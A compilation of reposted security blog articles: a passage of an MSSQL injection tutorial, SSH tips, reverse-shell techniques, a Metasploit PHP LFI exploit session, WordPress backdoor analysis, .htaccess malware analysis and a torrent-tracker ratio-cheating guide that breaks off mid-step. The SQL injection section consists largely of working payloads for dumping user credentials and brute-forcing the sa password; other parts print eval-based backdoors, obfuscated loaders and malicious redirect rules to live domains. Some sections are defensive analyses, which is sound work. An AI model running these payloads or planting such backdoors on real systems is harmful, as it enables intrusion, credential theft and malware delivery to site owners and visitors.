SELECT     CONVERT(varchar(255), T1.name) + '$' + CONVERT(varchar(255), T2.name) + '$' + CONVERT(varchar(255), T2.xtype) AS Expr1

FROM         sysobjects T1 INNER JOIN

syscolumns T2 ON T1.id = T2.id

WHERE     (T1.xtype = 'U' OR

T1.xtype = 'V') AND (T2.colid IN

(SELECT     keyno

FROM          sysindexkeys

WHERE      T1.id = id AND T2.colid = keyno))

Now we can download the primary keys columns ($XX$ is the number of the row) the $ will be the deliminator
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

and the other columns
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Ok... now you have all the database structure of the current database.


1.3 - Dumping the data




If you have the database structure, it is simple to get the data. For example if we have a table named "users" with primary key "userid" (numeric) and with columns username,userpass,usermail you can get single data with:
' or 1 in (select '$'+convert(varchar(255),username) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),userpass) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),usermail) from users where userid = $XX$) --

or you can get it on a single query with:
' or 1 in (select '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail)from users where userid = $XX$) --

If you wouldn't use a where condition (if you don't know how many record there will be, or if you don't know the primary keys) you can always use the top method as:
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail) as pippo from users ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Happy dumping ;)


1.4 - Privilege escalation with OPENROWSET




A query can be done with normal users privileges, but sometimes you need administrator privileges (for example to use xp_cmdshell) or get access to others databases. On SQL SERVER 2000 you can use the OPENROWSET to bruteforce the admin password (on SQL SERVER 2005 it has been disabled by default) with a query like thisone
' or 1 in (select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1')) --

If "Login failed for user 'sa'" appears the login is incorrect, otherwise you found the password. With a query like thisone you can get data of other databases:
' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =0')) --

Remember the escape character in MSSQL is '' so, if you need some ' on the query in the openrowset you need to use them double like:
' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =''0''')) --

2 - Blind sql injection




Ok, we have seen how simple is to get data on standard sql injection with display error on, now we will try to work on blind sql injection. The sample code of a simple application can be found here. The example does a simple query on the master database table and shows the results. In this application as you can see there is a error catching, so you will never see an error.



First of all you have to identify a way to get different results with injecting your data, for example:
1 and 1=1 --
1 and 1=2 --

Another interesing way can be use sql optimizations to get an error if the last part of the query is correct.
1 and 1 in (select @@version) and 1=1 --
1 and 1 in (select @@version) and 1=2 --

Having this kind of difference between the results gives you a way to work with a blind sql injection. Another way can be using WAIT and similar instructions of the db, but to get the results you will spend a lot of time.

To get the data using this response differences we can use the keyword like:
1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

If the page will return a non blank result the table sysdatabases columns names contains a record that starts with the letter M. Now you can implement a little brute force tool to get all the names.
1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'ma%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mas%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mast%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'maste%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'master%')) --

The choice of the charset for the bruteforce attack can cause a lot of problems. You will not be sure to get all the data because you don't know what type the data is. By using the stored procedure fn_varbintohexstryou can convert the data in a hex value, so you will know the charset is "abcdef01234567890".
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d006%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d0061%')) --

As described with the standard sql injection you can get table structures and data. So build your own sql blind bruteforce script.


3 - Compatibility issues




During some pentest I got some strange error on the syntax of the injections, I discovered that there was some compatibilty issues on the software set with sp_dbcmptlevel. To avoid these limits you just need to change the database and work as with blind sql injections.
1' ; use master; select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1') --

4 - Escape errors




Some very skilled programmers use some routines to escape the user input to avoid sql injection problems. Some of them escape the ' char with a \ (for example who uses php with a sql server db). He does not know that on mssql the escape is not \ but ''. So you can inject as normal, but you can not use the ' on the query. This can sometimes be a problem. To bypass this limitation you can use SETQUOTED_IDENTIFIER OFF and use " instead of '. Here is an example:
a';SET QUOTED_IDENTIFIER OFF;select * FROM OPENROWSET("SQLOLEDB","";"sa";"password","SELECT 1");--

25 BEST SSH COMMANDS / TRICKS

OpenSSH is a FREE version of the SSH connectivity tools that technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions.

SSH is an awesome powerful tool, there are unlimited possibility when it comes to SSH, heres the top Voted SSH commands

1) COPY SSH KEYS TO USER@HOST TO ENABLE PASSWORD-LESS SSH LOGINS.

ssh-copy-id user@host

To generate the keys use the command ssh-keygen

2) START A TUNNEL FROM SOME MACHINE’S PORT 80 TO YOUR LOCAL POST 2001
ssh -N -L2001:localhost:80 somemachine

Now you can acces the website by going to http://localhost:2001/

3) OUTPUT YOUR MICROPHONE TO A REMOTE COMPUTER’S SPEAKER
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

This will output the sound from your microphone port to the ssh target computer’s speaker port. The sound quality is very bad, so you will hear a lot of hissing.

4) COMPARE A REMOTE FILE WITH A LOCAL FILE
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

Useful for checking if there are differences between local and remote files.
5) MOUNT FOLDER/FILESYSTEM THROUGH SSH

sshfs name@server:/path/to/folder /path/to/mount/point

Install SSHFS from http://fuse.sourceforge.net/sshfs.html
Will allow you to mount a folder security over a network.

6) SSH CONNECTION THROUGH HOST IN THE MIDDLE
ssh -t reachable_host ssh unreachable_host

Unreachable_host is unavailable from local network, but it’s available from reachable_host’s network. This command creates a connection to unreachable_host through “hidden” connection to reachable_host.

7) COPY FROM HOST1 TO HOST2, THROUGH YOUR HOST
ssh root@host1 “cd /somedir/tocopy/ && tar -cf – .” | ssh root@host2 “cd /samedir/tocopyto/ && tar -xf -”

Good if only you have access to host1 and host2, but they have no access to your host (so ncat won’t work) and they have no direct access to each other.

8) RUN ANY GUI PROGRAM REMOTELY
ssh -fX @

The SSH server configuration requires:

X11Forwarding yes # this is default in Debian

And it’s convenient too:

Compression delayed

9) CREATE A PERSISTENT CONNECTION TO A MACHINE
ssh -MNf @

Create a persistent SSH connection to the host in the background. Combine this with settings in
your ~/.ssh/config:
Host host
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster no

All the SSH connections to the machine will then go through the persisten SSH socket. This is very useful if you are using SSH to synchronize files (using rsync/sftp/cvs/svn) on a regular basis because it won’t create a new socket each time to open an ssh connection.

10) ATTACH SCREEN OVER SSH
ssh -t remote_host screen -r

Directly attach a remote screen session (saves a useless parent bash process)

11) PORT KNOCKING!
knock 3000 4000 5000 && ssh -p user@host && knock 5000 4000 3000

Knock on ports to open a port to a service (ssh for example) and knock again to close the port. You have to install knockd.
See example config file below.
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 3000,4000,5000
seq_timeout = 5
command = /sbin/iptables -A INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 5000,4000,3000
seq_timeout = 5
command = /sbin/iptables -D INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT
tcpflags = syn

12) REMOVE A LINE IN A TEXT FILE. USEFUL TO FIX
ssh-keygen -R

In this case it’s better do to use the dedicated tool
13) RUN COMPLEX REMOTE SHELL CMDS OVER SSH, WITHOUT ESCAPING QUOTES

ssh host -l user $(> ~/.ssh/authorized_keys”

If you use Mac OS X or some other *nix variant that doesn’t come with ssh-copy-id, this one-liner will allow you to add your public key to a remote machine so you can subsequently ssh to that machine without a password.

17) LIVE SSH NETWORK THROUGHPUT TEST
yes | pv | ssh $host “cat > /dev/null”

connects to host via ssh and displays the live transfer speed, directing all transferred data to
/dev/null
needs pv installed
Debian: ‘apt-get install pv’
Fedora: ‘yum install pv’ (may need the ‘extras’ repository enabled)

18) HOW TO ESTABLISH A REMOTE GNU SCREEN SESSION THAT YOU CAN RE-CONNECT TO
ssh -t user@some.domain.com /usr/bin/screen -xRR

Long before tabbed terminals existed, people have been using Gnu screen to open many shells in a single text terminal. Combined with ssh, it gives you the ability to have many open shells with a single remote connection using the above options. If you detach with “Ctrl-a d” or if the ssh session is accidentally terminated, all processes running in your remote shells remain undisturbed, ready for you to reconnect. Other useful screen commands are “Ctrl-a c” (open new shell) and “Ctrl-a a” (alternate between shells). Read this quick reference for more screen commands: http://aperiodic.net/screen/quick_reference

19) RESUME SCP OF A BIG FILE
rsync –partial –progress –rsh=ssh $file_source $user@$host:$destination_file

It can resume a failed secure copy ( usefull when you transfer big files like db dumps through vpn ) using rsync.
It requires rsync installed in both hosts.
rsync –partial –progress –rsh=ssh $file_source $user@$host:$destination_file local -> remote
or
rsync –partial –progress –rsh=ssh $user@$host:$remote_file $destination_file remote -> local

20) ANALYZE TRAFFIC REMOTELY OVER SSH W/ WIRESHARK
ssh root@server.com ‘tshark -f “port !22″ -w -’ | wireshark -k -i -

This captures traffic on a remote machine with tshark, sends the raw pcap data over the ssh link, and displays it in wireshark. Hitting ctrl+C will stop the capture and unfortunately close your wireshark window. This can be worked-around by passing -c # to tshark to only capture a certain # of packets, or redirecting the data through a named pipe rather than piping directly from ssh to wireshark. I recommend filtering as much as you can in the tshark command to conserve bandwidth. tshark can be replaced with tcpdump thusly:
ssh root@example.com tcpdump -w – ‘port !22′ | wireshark -k -i -

21) HAVE AN SSH SESSION OPEN FOREVER
autossh -M50000 -t server.example.com ‘screen -raAd mysession’

Open a ssh session opened forever, great on laptops losing Internet connectivity when switching WIFI spots.

22) HARDER, FASTER, STRONGER SSH CLIENTS
ssh -4 -C -c blowfish-cbc

We force IPv4, compress the stream, specify the cypher stream to be Blowfish. I suppose you could use aes256-ctr as well for cypher spec. I’m of course leaving out things like master control sessions and such as that may not be available on your shell although that would speed things up as well.

23) THROTTLE BANDWIDTH WITH CSTREAM
tar -cj /backup | cstream -t 777k | ssh host ‘tar -xj -C /backup’

this bzips a folder and transfers it over the network to “host” at 777k bit/s.
cstream can do a lot more, have a look http://www.cons.org/cracauer/cstream.html#usage
for example:
echo w00t, i’m 733+ | cstream -b1 -t2

24) TRANSFER SSH PUBLIC KEY TO ANOTHER MACHINE IN ONE STEP
ssh-keygen; ssh-copy-id user@host; ssh user@host

This command sequence allows simple setup of (gasp!) password-less SSH logins. Be careful, as if you already have an SSH keypair in your ~/.ssh directory on the local machine, there is a possibility ssh-keygen may overwrite them. ssh-copy-id copies the public key to the remote host and appends it to the remote account’s ~/.ssh/authorized_keys file. When trying ssh, if you used no passphrase for your key, the remote shell appears soon after invoking ssh user@host.

25) COPY STDIN TO YOUR X11 BUFFER
ssh user@host cat /path/to/some/file | xclip

Have you ever had to scp a file to your work machine in order to copy its contents to a mail? xclip can help you with that. It copies its stdin to the X11 buffer, so all you have to do is middle-click to paste the content of that looong file :)

Have Fun
source : http://www.subhashdasyam.com/2011/05/25-best-ssh-commands-tricks.html

7 Linux Shells Using Built-in Tools



There are many distributions of linux, and they all do things a little different regarding default security and built-in tool sets. Which means when engaging these different flavors during a pentest, what works against one linux target to get an interactive shell, may not work against another. Well, not to worry my friends, there are many techniques for spawning shells, specifically reverse shells, from linux, and one or more of these techniques is bound to be available no matter which distro you’re looking at.

The scenario is this: You have the ability to run a simple command, or cause a user to run a simple command, on the target system. Whether it be via a Remote Command Execution vulnerability in a website, or some sort of php injected XSS which causes a privileged user to run commands on the target system. There are many instances of this scenario. Starting from the easiest and most common, here are some of the techniques which can be used to gain reverse shell on the target system.

#1. netcat:
Surprise!!! Nothing new here. Plain and simple. Fire up a listener on the attacker machine on a port which is reachable from the target and connect back to the listener with netcat. Looks like this.



…just kidding…



#2. netcat with GAPING_SECURITY_HOLE disabled:
This is a little trick that Ed Skoudis tweeted about in November of last year, but I haven’t seen it widely publicized. It is based on the common technique used to build netcat relays. When the GAPING_SECURITY_HOLE is disabled, which means you don’t have access to the ‘-e’ option of netcat, most people pass on using netcat and move to something else. Well this just isn’t necessary. Create a FIFO file system object and use it as a backpipe to relay standard output from commands piped from netcat to /bin/bash back into netcat. Sounds confusing right? The following image should clear things up.



#3. netcat without netcat:
I love “hacks” that use features of the operating system against itself. This is one of those “hacks”. It takes the /dev/tcp socket programming feature and uses it to redirect /bin/bash to a remote system. It’s not always available, but can be quite handy when it is.



#4. netcat without netcat or /dev/tcp:
/dev/tcp not available either? Just use telnet with technique #2.



telnet-to-telnet:
I’m not sure why you’d use this technique, but it’s an option, so here it is nonetheless. This is clearly the ugliest of the techniques. This technique uses two telnet sessions connected to remote listeners to pipe input from one telnet session to /bin/bash, and pipe the output to the second telnet session. Commands are entered into one the of the attackers listeners and feedback is received on the other.



#6. RCE shell:
On this one I’m cheating a little bit. This applies to Remote Command Execution vulnerabilities only. Rather than manually enter commands into a proxy or browser url, I wrote small python script which gives you the feel of a shell, without spawning anything in reverse from the target. You merely pass the script the vulnerable url with the injectable field replaced with the ‘<rce>’ tag and it presents you with a clean interface for entering commands. In the background, the script is making the request to the web server, parsing the response, and presenting it to you.



#7. PHP reverse shell via interactive console:
The last technique makes use of the php interactive console. The attacker issues one command which moves to the /tmp directory (because it is typically world writable), uses wget to download a malicious php reverse_tcp backdoor (which the attacker hosts on a web server that he controls), and executes the backdoor via the interactive console.



I want to end this post by stating that I am not the originator of techniques #1, 2, 3, 5, or 7. The majority of these techniques were learned in Ed Skoudis’ amazing Security 504 and 560 classes available through SANS. Technique #4 is something I’ve never seen but stumbled across as I was conducting the demos for this post, so I’ll take credit. Obviously, anyone can do #6, and there are plugins for various automated web app testing software packages that do, but I built my script from the ground up and tailored it to preference. If you know of any additional methods that may be helpful to the pentesting community, please leave in the comments below. Without sharing, we all fail. Thanks, and enjoy!

Source : http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Metasploit PHP LFI exploit module



Last week I wrote a simple exploit module for Metasploit to attack PHP applications with LFI vulnerabilities.

It uses php://input to inject the code or the webserver logs in other case.

If I had time, I would like to implement some tricks,  like injection PHP code in the SSH logs or the e-mail server logs, but it is not possible by now :)

Note: It is really buggy and the injection may not be successful, depending on the length of the payload. Please remember that PHP limits the size of the POST message and a long payload may be cut. The same problem applies to the log file injection.

msf exploit(handler) > use exploit/unix/webapp/php_lfi
msf exploit(php_lfi) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(php_lfi) > set RPORT 8181
RPORT => 8181
msf exploit(php_lfi) > set URI /index.php?foo=xxLFIxx
URI => /index.php?foo=xxLFIxx

msf exploit(php_lfi) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp
msf exploit(php_lfi) > exploit -z


[*] Started bind handler
[*] Trying generic exploits
[*] Clean LFI injection
[*] Sending stage (31612 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:19412 -> 127.0.0.1:4444) at Tue May 24 14:47:29 +0200 2011

C[-] Exploit exception: Interrupt
[*] Session 10 created in the background.
msf exploit(php_lfi) > sessions -i 1
[*] Starting interaction with 1…



meterpreter > ls


Listing: /usr/home/test/cherokee/www
=====================================


Mode              Size  Type  Last modified                   Name
—-              —-  —-  ————-                   —-
100644/rw-r–r–  0     fil   Tue May 10 11:09:39 +0200 2011  foo.php
40755/rwxr-xr-x   512   dir   Tue May 10 10:53:59 +0200 2011  images
100644/rw-r–r–  1795  fil   Tue May 10 10:19:23 +0200 2011  index.html
100644/rw-r–r–  37    fil   Tue May 10 13:52:25 +0200 2011  index.php



meterpreter > sysinfo  
OS          : FreeBSD redphantom.skynet.ct 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011     root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
Computer    : redphantom.skynet.ct
Meterpreter : php/php  
meterpreter > exit

Source : http://www.shellguardians.com/2011/05/metasploit-php-lfi-exploit-module.html

How to find a backdoor in a hacked WordPress

Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post. :)

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:


  • A backdoor is code that has been added to your site.

  • It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.

  • It will be disguised to seem innocuous, or at least non threatening.

  • It will most likely involve additions to the database.


Let’s go over these individual points one at a time.

Added code


While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:
eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code


First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise


This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it:base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation


Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).
global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();


  1. It retrieves a value from the WordPress database.

  2. It pulls a specific section of that value out.

  3. It creates a function to run that value as PHP code.

  4. It runs that function.


Note how it cleverly avoids all the warning signs.

  • Nowhere does it use “eval”.

  • base64 is not visible at all.

  • The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.


The actual value in the database looked like this:
...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

  1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.

  2. That code, which does not use any trigger words, loads a nondescript value from the options table.

  3. It performs some string operations on that code, then executes it.

  4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.


Summary


This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

source : http://ottopress.com/2009/hacked-wordpress-backdoors/

Understanding .htaccess attacks – Part 1

Attackers have been using the .htaccess file for a while. They use this file to hide malware, to redirect search engines to their own sites (think blackhat SEO), and for many other purposes (hide backdoors, inject content, to modify the php.ini values, etc).

Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a hidden file (starting with a “.”), so some site owners might not find them in their FTP clients. Secondly, it is a powerful file that allows you to make multiple changes to the web server and PHP behavior. This makes a .htaccess the attack hard to find and to clean up.

1- Redirecting users coming from search engines to malware


This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site:


RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
..
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://villusoftreit.ru/in.cgi?3). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.

Below is another example of the same attack, but this time redirecting to http://globalpoweringgatheringon.com/in.php?n=30 (one of those Hilary kneber domains). Note that this time, they’v added hundreds of white spaces before the “RewriteCond” to make it harder to see in a text editor (We removed below to make easier to read in the post).
# BEGIN WordPress
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://globalpoweringgatheringon.com/in.php?n=30 [R,L]


2 – Redirecting the error pages to malware


This is the second most common type of .htaccess malware. Instead of redirecting all traffic, the attackers are only modifying the error pages to their own domains (even harder to detect). This is what shows up in the .htaccess:
RewriteEngine On
ErrorDocument 400 http://powercrystal.ru/inject/index.php
ErrorDocument 401 http://powercrystal.ru/inject/index.php
ErrorDocument 403 http://powercrystal.ru/inject/index.php
ErrorDocument 404 http://powercrystal.ru/inject/index.php
ErrorDocument 500 http://powercrystal.ru/inject/index.php

Other examples:
ErrorDocument 400 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 403 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 404 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 405 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 404 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 405 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 406 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 400 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 403 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 404 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 405 http://nicomagen.cz.cc/ht_er_docs/


3 – Appending malware to a web site


This type of attack is getting more common lately. Instead of doing the redirection in the .htaccess file, they modify the PHP value “auto_append_file” to load malware from a hidden location. For example:
php_value auto_append_file “/tmp/13063671977873.php”

So the content of /tmp/13063671977873.php gets appended to every PHP file. This is what the PHP file looks like:
<script src=”http://nicomagen.cz.cc/jquery.js”></script>

A common javascript malware. They sometimes even append fake images to make it even harder to detect.

In the next part of this article we will talk about additional .htaccess attacks and give you some tips to detect and analyze them.

Source : http://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html

How-To: Increase your upload/download/ratio in torrent trackers

The “bug” has been tested on the torrent trackers that use the torrentbits source code (I don’t know if it works on other trackers).
The idea of this this “bug” is that you will sniff your torrent info using the HTTP Analyzer and with Firefox you will update your stats to the tracker being identified as a client. This is a simple and short tutorial that shows you how to do it, if you are “more” advanced you can use other tools to do it.

Programs that you need:
- HTTP Analyzer – http://www.ieinspector.com/httpanalyzer/
- Mozilla Firefox – http://www.mozilla.org/products/firefox/
- User Agent Switcher Extension – http://chrispederick.com/work/firefox/useragentswitcher/
- And an bittorrent client.

Steps:

1. Install the User Agent Switcher Extension (the extension will be used to identify as a bittorrent client to the tracker) to Mozilla Firefox (if you don’t have Firefox, get it!).
2. After installing the extension go in Firefox to:

Tools -> User Agent Switcher -> Options -> Options -> User Agents

Click Add, write “BitTorrent/3.4.2” to the Description and User Agent and then press “Ok”.


3. Then go to:

Tools -> User Agent Switcher and select the newly added User Agent, “BitTorrent/3.4.2”.

4. Install HTTP Analyzer.
5. Get a .torrent file from a tracker that uses the torrentbits source code and add it to your client. (DO NOT START IT)
6. Start HTTP Analyzer and go to the “Start Logging” button, select “Select a process…”, choose your bittorrent client (Important: If you use Azureus, select the javaw.exe proccess from the list) from the list and click “Ok”.


7. Go into your client and start the torrent.
8. Now go into HTTP Analyzer, there you should see a GET request to the tracker.

Example:

GET /torrents/announce.php?info_hash=%B5%2D%F4%ADM%18%7C%83C%E9%EC%C8%C7%F7%973%3Fap%15&peer_id=%2DBC0059%2Dp%D1%FBd%D0%C6%EC%7B%B4%D5q%B8&port=12345&uploaded=0&downloaded=0&left=0&numwant=200&compact=1&no_peer_id=1&key=9427&event=started HTTP/1.0


9. Open Firefox, paste into the address bar:

